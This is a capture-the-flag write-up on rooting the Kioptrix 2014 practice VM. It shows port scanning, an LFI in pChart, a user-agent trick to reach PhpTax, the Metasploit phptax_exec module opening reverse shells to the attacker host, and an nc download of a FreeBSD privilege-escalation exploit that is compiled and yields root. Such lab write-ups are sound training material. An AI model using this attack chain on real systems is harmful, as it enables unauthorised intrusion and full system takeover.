Kioptrix 2014 VM can be downloadedhere.
0. Get VMs IP
root@kali:~# netdiscover -r 192.168.1.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 258 Captured ARP Req/Rep packets, from 4 hosts. Total size: 15480 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- ... 192.168.1.68 c4:e9:84:10:d3:5e 2 120 TP-LINK TECHNOLOGIES CO.,LTD ...
TCP Ports enumeration
root@kali:~# nmap -p- -sV 192.168.1.68 Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-07 15:00 EST Service scan Timing: About 0.00% done Nmap scan report for 192.168.1.68 Host is up (0.00016s latency). Not shown: 65532 filtered ports PORT STATE SERVICE VERSION 22/tcp closed ssh **80/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8) 8080/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)** MAC Address: C4:E9:84:10:D3:5E (Tp-link Technologies) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 112.67 seconds
We found some decent information:
- Web server on port 80
- Web server on port 8080 (Proxy?)
- Victim’s OS is FreeBSD
2. Web server port 80
Uhh, well I’m glad it does. Checking the source code was worth it.
<head> <!-- <META HTTP-EQUIV="refresh" CONTENT="5;URL=pChart2.1.3/index.php"> --> </head> <body> <h1>It works!</h1> </body>
/pChart2.1.3/index.php shows some charting tool. After searching for the tool’s name on searchsploit, it showed that it’s vulnerable to LFI.
After poking around for a while I wasn’t able to find anything useful, what’s the next step? For that, let’s see what we currently know.
1. Victim runs FreeBSD, so many important files could be under different paths.
2. Port 8080 returns a 403, what’s preventing us from accessing the page?
Since we have an LFI and we know that the server is running Apache, let’s search for the apache config file. After checking this, I managed to find the
Particularly interesting snippet:
SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser <VirtualHost *:8080> DocumentRoot /usr/local/www/apache22/data2 <Directory "/usr/local/www/apache22/data2"> Options Indexes FollowSymLinks AllowOverride All Order allow,deny Allow from env=Mozilla4_browser </Directory> </VirtualHost>
We’ll need to access the server running on 8080 with a different user-agent.
root@kali:~/Desktop# curl -H "User-Agent:Mozilla/4.0" http://192.168.1.68:8080 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <html> <head> <title>Index of /</title> </head> <body> <h1>Index of /</h1> <ul><li><a href="phptax/"> phptax/</a></li> </ul> </body></html> root@kali:~/Desktop# curl -H "User-Agent:Mozilla/4.0" http://192.168.1.68:8080/phptax/ _lots of markup_
So what should we do next?
3. Getting a shell, and root
msf > **use exploit/multi/http/phptax_exec** msf exploit(phptax_exec) > **show options** Module options (exploit/multi/http/phptax_exec): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOST yes The target address RPORT 80 yes The target port SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI /phptax/ yes The path to the web application VHOST no HTTP server virtual host Exploit target: Id Name -- ---- 0 PhpTax 0.8 msf exploit(phptax_exec) > **set RHOST 192.168.1.68** RHOST => 192.168.1.68 msf exploit(phptax_exec) > **set RPORT 8080** RPORT => 8080 msf exploit(phptax_exec) > **run** [*] Started reverse TCP double handler on 192.168.1.67:4444 [*] 192.168.1.688080 - Sending request... [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo V5HLbXsCcLqrTr6R; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Command: echo dcW9zf08z50hnZcW; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "V5HLbXsCcLqrTr6R\r\n" [*] Matching... [*] A is input... [*] Reading from socket B [*] B: "dcW9zf08z50hnZcW\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (192.168.1.67:4444 -> 192.168.1.68:20092) at 2017-01-07 16:39:33 -0500 [*] Command shell session 2 opened (192.168.1.67:4444 -> 192.168.1.68:40864) at 2017-01-07 16:39:33 -0500 whoami www
I won’t go through all my attempts since they were many, I’m listing the important ones findings though:
- It’s running FreeBSD 9.0
- No users in /home
- System doesn’t have python, bash, wget and many other stuff, it does have perl and gcc though
Easily enough, searching for an exploit for FreeBSD 9.0 was straight-forward. I transferred the exploit file through nc, compiled it and got root.
which gcc /usr/bin/gcc cd /tmp wget https://www.exploit-db.com/download/28718 wget: not found which nc /usr/bin/nc nc -nv 192.168.1.67 443 -w 5 > exploit.c Connection to 192.168.1.67 443 port [tcp/*] succeeded! gcc exploit.c ./a.out [+] SYSRET FUCKUP!! [+] Start Engine... [+] Crotz... [+] Crotz... [+] Crotz... [+] Woohoo!!! whoami root
Where’s our flag?
cd /root ls -al total 88 drwxr-xr-x 2 root wheel 512 Jan 7 00:57 . drwxr-xr-x 18 root wheel 1024 Jan 7 01:42 .. -rw-r--r-- 2 root wheel 793 Jan 3 2012 .cshrc -rw------- 1 root wheel 0 Apr 6 2014 .history -rw-r--r-- 1 root wheel 151 Jan 3 2012 .k5login -rw-r--r-- 1 root wheel 299 Jan 3 2012 .login -rw------- 1 root wheel 1 Mar 30 2014 .mysql_history -rw-r--r-- 2 root wheel 256 Jan 3 2012 .profile ---------- 1 root wheel 2611 Apr 3 2014 congrats.txt -rw-r--r-- 1 root wheel 885 Jan 7 16:49 folderMonitor.log lrwxr-xr-x 1 root wheel 25 Mar 29 2014 httpd-access.log -> /var/log/httpd-access.log -rwxr-xr-x 1 root wheel 574 Apr 3 2014 lazyClearLog.sh -rwx------ 1 root wheel 2366 Mar 28 2014 monitor.py lrwxr-xr-x 1 root wheel 44 Mar 29 2014 ossec-alerts.log -> /usr/local/ossec-hids/logs/alerts/alerts.log chmod 777 congrats.txt cat congrats.txt If you are reading this, it means you got root (or cheated). Congratulations either way... Hope you enjoyed this new VM of mine. As always, they are made for the beginner in mind, and not meant for the seasoned pentester. However this does not mean one can't enjoy them. As with all my VMs, besides getting "root" on the system, the goal is to also learn the basics skills needed to compromise a system. Most importantly, in my mind, are information gathering & research. Anyone can throw massive amounts of exploits and "hope" it works, but think about the traffic.. the logs... Best to take it slow, and read up on the information you gathered and hopefully craft better more targetted attacks. For example, this system is FreeBSD 9. Hopefully you noticed this rather quickly. Knowing the OS gives you any idea of what will work and what won't from the get go. Default file locations are not the same on FreeBSD versus a Linux based distribution. Apache logs aren't in "/var/log/apache/access.log", but in "/var/log/httpd-access.log". It's default document root is not "/var/www/" but in "/usr/local/www/apache22/data". Finding and knowing these little details will greatly help during an attack. Of course my examples are specific for this target, but the theory applies to all systems. As a small exercise, look at the logs and see how much noise you generated. Of course the log results may not be accurate if you created a snapshot and reverted, but at least it will give you an idea. For fun, I installed "OSSEC-HIDS" and monitored a few things. Default settings, nothing fancy but it should've logged a few of your attacks. Look at the following files: /root/folderMonitor.log /root/httpd-access.log (softlink) /root/ossec-alerts.log (softlink) The folderMonitor.log file is just a cheap script of mine to track created/deleted and modified files in 2 specific folders. Since FreeBSD doesn't support "iNotify", I couldn't use OSSEC-HIDS for this. The httpd-access.log is rather self-explanatory . Lastly, the ossec-alerts.log file is OSSEC-HIDS is where it puts alerts when monitoring certain files. This one should've detected a few of your web attacks. Feel free to explore the system and other log files to see how noisy, or silent, you were. And again, thank you for taking the time to download and play. Sincerely hope you enjoyed yourself. Be good... loneferret http://www.kioptrix.com p.s.: Keep in mind, for each "web attack" detected by OSSEC-HIDS, by default it would've blocked your IP (both in hosts.allow & Firewall) for 600 seconds. I was nice enough to remove that part :)
VM is quite entertaining, yet I had a lot of trouble knowing what I should be looking for after I got the LFI vulnerability. I had limited knowledge about FreeBSD so I thought the apache file didn’t exist first time I attempted it.
Make sure you read the flag file carefully, I won’t discuss it since it’s pretty much self-explanatory.